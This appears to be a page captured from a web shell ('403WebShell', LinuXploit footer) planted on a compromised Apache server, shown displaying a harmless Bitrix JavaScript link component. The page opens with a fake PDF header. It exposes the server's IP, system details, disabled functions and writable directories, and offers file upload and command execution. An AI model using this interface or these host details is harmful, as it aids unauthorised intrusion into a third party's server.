%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.37.240
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/component/link/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/component/link/src/link.js
import {Cache, Tag, Type, Dom} from 'main.core';
import {EventEmitter} from 'main.core.events';
import {fetchEventsFromOptions} from 'landing.ui.component.internal';

import './css/style.css';

class Colors
{
	static Primary = 'primary';
	static Grey = 'grey';
}

type LinkOptions = {
	text: string | HTMLElement,
	href?: string,
	target?: '_self' | '_blank' | '_parent' | '_top',
	attrs?: {[key: string]: any},
	style?: CSSStyleDeclaration,
	color?: $Values<Colors>,
};

const defaultOptions: LinkOptions = {
	text: '',
	color: Colors.Primary,
	attrs: {},
	style: {},
};

export class Link extends EventEmitter
{
	static Colors = Colors;

	options: LinkOptions;

	constructor(options: LinkOptions)
	{
		super();
		this.setEventNamespace('BX.Landing.UI.Component.Link');
		this.subscribeFromOptions(fetchEventsFromOptions(options));
		this.options = {...defaultOptions, ...options};
		this.cache = new Cache.MemoryCache();
	}

	getTag(): string
	{
		return this.cache.remember('tag', () => {
			return Type.isStringFilled(this.options.href) ? 'a' : 'span';
		});
	}

	getLayout(): HTMLSpanElement | HTMLAnchorElement
	{
		return this.cache.remember('layout', () => {
			const tag = this.getTag();
			const element = Tag.render`
				<${tag}
					class="landing-ui-component-link landing-ui-component-link-color-${this.options.color}"
					onclick="${this.onClick.bind(this)}">${this.options.text}</${tag}>
			`;

			if (tag === 'a')
			{
				Dom.attr(element, 'href', this.options.href);
			}

			if (tag === 'a' && Type.isStringFilled(this.options.target))
			{
				Dom.attr(element, 'target', this.options.target);
			}

			Dom.attr(element, this.options.attrs);
			Dom.style(element, this.options.style);

			return element;
		});
	}

	onClick(event: MouseEvent)
	{
		if (this.getTag() === 'span')
		{
			event.preventDefault();
		}

		this.emit('onClick');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit